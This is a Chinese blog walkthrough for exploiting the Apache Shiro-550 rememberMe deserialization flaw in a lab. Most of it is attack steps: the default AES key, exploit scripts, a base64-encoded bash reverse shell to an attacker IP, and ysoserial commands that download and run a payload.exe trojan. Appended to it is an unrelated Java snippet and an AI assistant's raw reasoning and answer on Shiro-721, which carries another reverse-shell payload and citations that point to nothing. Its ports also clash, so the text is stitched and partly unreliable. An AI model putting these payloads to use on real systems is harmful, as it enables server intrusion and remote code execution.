Shiro 550漏洞复现

Shiro简介

Apache shiro是 java 的一个安全框架。相对于Spring Security 可能功能没有那么强大,但是实际工作中用不到那么多,因此小而简单的shiro就足够了

ini配置文件

存放一些初始数据

可以理解为是一个 IoC/DI 容器,但是区别在于它从一个根对象 securityManager 开始。

漏洞原理

在登录框有一个 remember me(记住密码)的功能,用户的登录信息加密后存储在remember me的Cookie中。攻击者可以使用shiro默认密钥伪造用户Cookie,触发java反序列化漏洞,进而在目标机器上执行任意命令

cookie处理流程:cookie值 – Base64解码 – AES解密 – 反序列化

用了AES加密的密钥,此密钥被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥

payload构造

payload – 序列化 – AES加密 – Base64加密 – 发送cookie

环境搭建

方法一:

service docker start
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

请添加图片描述

请添加图片描述

方法二:

使用vulhub(专门搭建靶场环境的项目),在docker环境下直接搭建(参考fastjson)

git clone https://github.com/vulhub/vulhub.git		#下载vulhub
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d  								#启动该漏洞的环境

请添加图片描述

漏洞验证

Shiro特征:

  • 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  • 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  • 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段

方法一:

生成一个cookie脚本

img

使用shiro_key.py脚本获取密钥:

python shiro_key.py -u url

img

得到AES的密钥,替换payload生成脚本中的key

img

抓包替换cookie验证

勾选密码,抓包,替换cookie为 脚本生成的payload.cookie,发送数据包:

若dnsloh收到结果,则漏洞存在

方法二:

登录时,点击记住密码,利用burpsuite抓包验证,看返回结果是否有rememberMe=deleteMe

请添加图片描述

如果没有cookie字段,我们可以手动进行添加 cookie:rememberMe=1

漏洞利用方法一

版本 <= 1.2.4

软件下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

输入url

请添加图片描述

选择 dnslog.cn进行检测,然后点击下一步

请添加图片描述

漏洞利用方法二

基于 ysoserial-0.0.5-SNAPSHOT-all.jar

python 运行环境搭建

#需要导入包
pip install crypto
pip install pycryptodome
#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey
#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题

请添加图片描述

请添加图片描述

生成 cookie

首先看一下工具内容

payload.cookie是通过 shiro_poc.py 执行得到的

python shiro_poc.py "ping 192.168.1.106"      #IP是目标机的IP地址

请添加图片描述

替换cookie验证漏洞

请添加图片描述

替换cookie的值

请添加图片描述

替换后点击发送

请添加图片描述

反弹shell

攻击者:192.168.1.105

目标机:192.168.1.106

一个加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html

由于Shiro是用base64加密后再用AES加密在传输数据的,因此要进行加密

bash -i >& /dev/tcp/192.168.1.105/4444 0>&1		#192.168.1.105是另外一台kali(攻击者)的IP

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i}										#加密后的数据

重复上述操作 生成cookie 和 抓包替换cookie 的操作

python3 shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1LzQ0NDQgMD4mMQk=}|{base64,-d}|{bash,-i}"										#在攻击者的主机(192.168.1.105)上执行此命令

请添加图片描述

请添加图片描述

请添加图片描述

NC设置监听

注意分清楚 控制端与被控端

kali(目标机)和 攻击者要角色反转,kali(目标机)上执行的命令要主动发给攻击者

nc -lvnp 6666			#攻击者(192.168.1.105)开启监听

请添加图片描述

如果目标服务器是windows的话,不能一键反弹shell,可以先在windows主机上 下载一个exe木马(前提主机上要有ysoserial.jar)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'

漏洞利用方式三

基于 ysoserial.jar

其实和方法二是一样的,都是基于 ysoserial.jar 这个jar包,只是python脚本有些不同

需要导入包pip install cryptopip install pycryptodome#安装完之后 python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。并检查Crypto中是否有Cipher 和 PublicKey#若还有其他问题,请仔细检查源码中import引入 和 下载的包的名字对应关系,尤其是大小写问题
python shiro_exploit.py -u http://192.168.1.106/login.jsp -t 3 -p "ping -c 2 ycat1b.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="

found gadget 表示有漏洞,利用 CommonsCollections2

请添加图片描述

利用的话,可以采用 JRMP的方式。也可以根据检测出来的 gadge来进行利用。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'

防御

不要使用默认的key

总结

Set<String> set = new HashSet<String>();     //set 是一个String类型的集合String s1 = "hello";String s2 = "world";set.add(s1);set.add(s2);

gadget 是什么,后续怎么利用

后续采用 JRMP的方式利用,可在设置监听,反弹shell。

<think>好的,用户想了解Shiro721漏洞复现步骤。首先,我需要回忆一下相关的知识。根据提供的引用内容,特别是引用[2]和[4],Shiro721影响版本是Apache Shiro <=1.4.1。复现步骤通常包括环境搭建、利用漏洞获取权限、编写或使用Payload等。 首先,环境搭建部分,用户需要Docker来拉取镜像并运行容器。引用[2]提到使用vulfocus/shiro-721镜像,所以需要确认正确的Docker命令。然后,漏洞利用需要生成恶意Cookie,通常涉及反序列化攻击。但Shiro721与Shiro550不同,它需要有效的Cookie并通过Padding Oracle攻击来加密Payload,因此可能需要特定的工具,比如shiro-exploit工具箱或者手工构造Payload。 用户可能还需要了解如何检测漏洞是否存在,比如发送一个无效的RememberMe Cookie并观察响应是否有特征。此外,反弹shell的步骤需要生成Payload,可能使用ysoserial或类似工具生成,然后通过工具加密并构造请求。 需要注意的是,复现漏洞需要一定的网络安全知识,确保在合法授权环境下进行。同时,引用中提到的工具如shiro-exploit可能需要从GitHub获取,用户需要安装相关依赖,比如Java环境。 可能的问题点包括Docker环境是否正确启动,Payload生成是否正确,加密过程是否无误,以及如何判断攻击是否成功。此外,用户可能对漏洞原理感兴趣,比如为什么Padding Oracle攻击可以在这里利用,或者如何修复该漏洞。因此,在回答中需要分步骤详细说明,并提示安全注意事项。</think>### Shiro-721漏洞复现步骤详解 #### 一、漏洞简介 Shiro-721是Apache Shiro框架中的反序列化漏洞,影响版本为**Shiro <=1.4.1**。攻击者通过构造恶意RememberMe Cookie,利用Padding Oracle攻击加密反序列化Payload,最终实现远程代码执行[^2][^4]。 #### 二、环境搭建 1. **拉取Docker镜像**: ```bash docker pull vulfocus/shiro-721 ``` 2. **启动容器**: ```bash docker run -d -p 8080:8080 [镜像ID] ``` 访问`http://localhost:8080`,使用默认账号`admin/admin`登录[^4]。 --- #### 三、漏洞验证 1. **检测RememberMe功能**: 登录后查看Cookie是否包含`rememberMe=deleteMe`字段,确认Shiro是否启用该功能。 2. **发送无效Cookie测试**: 使用Burp Suite修改请求,替换`rememberMe`值为无效Base64字符串(如`123`),若响应包含`rememberMe=deleteMe`,则存在漏洞[^3]。 --- #### 四、漏洞利用(以反弹Shell为例) 1. **生成Payload**: 使用`ysoserial`生成反弹Shell命令: ```bash java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin ``` **注意**:替换IP和端口为攻击机地址。 2. **加密Payload**: 使用`shiro-exploit`工具加密Payload,需提供有效的RememberMe Cookie和攻击目标URL: ```bash java -jar shiro-exploit.jar http://localhost:8080/login [有效Cookie] payload.bin ``` 工具会自动通过Padding Oracle攻击生成加密后的恶意Cookie。 3. **发送恶意请求**: 将生成的Cookie替换到请求头中,触发反序列化漏洞: ```http GET / HTTP/1.1 Host: localhost:8080 Cookie: rememberMe=[加密后的恶意Cookie] ``` 4. **接收反弹Shell**: 在攻击机使用Netcat监听: ```bash nc -lvnp 8888 ``` 成功获取目标服务器Shell[^3]。 --- #### 五、修复建议 1. 升级Shiro至**1.4.2及以上版本**; 2. 配置`securityManager.rememberMeManager.cipherKey`为随机密钥; 3. 禁用RememberMe功能(非必要场景)[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛顿编程

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值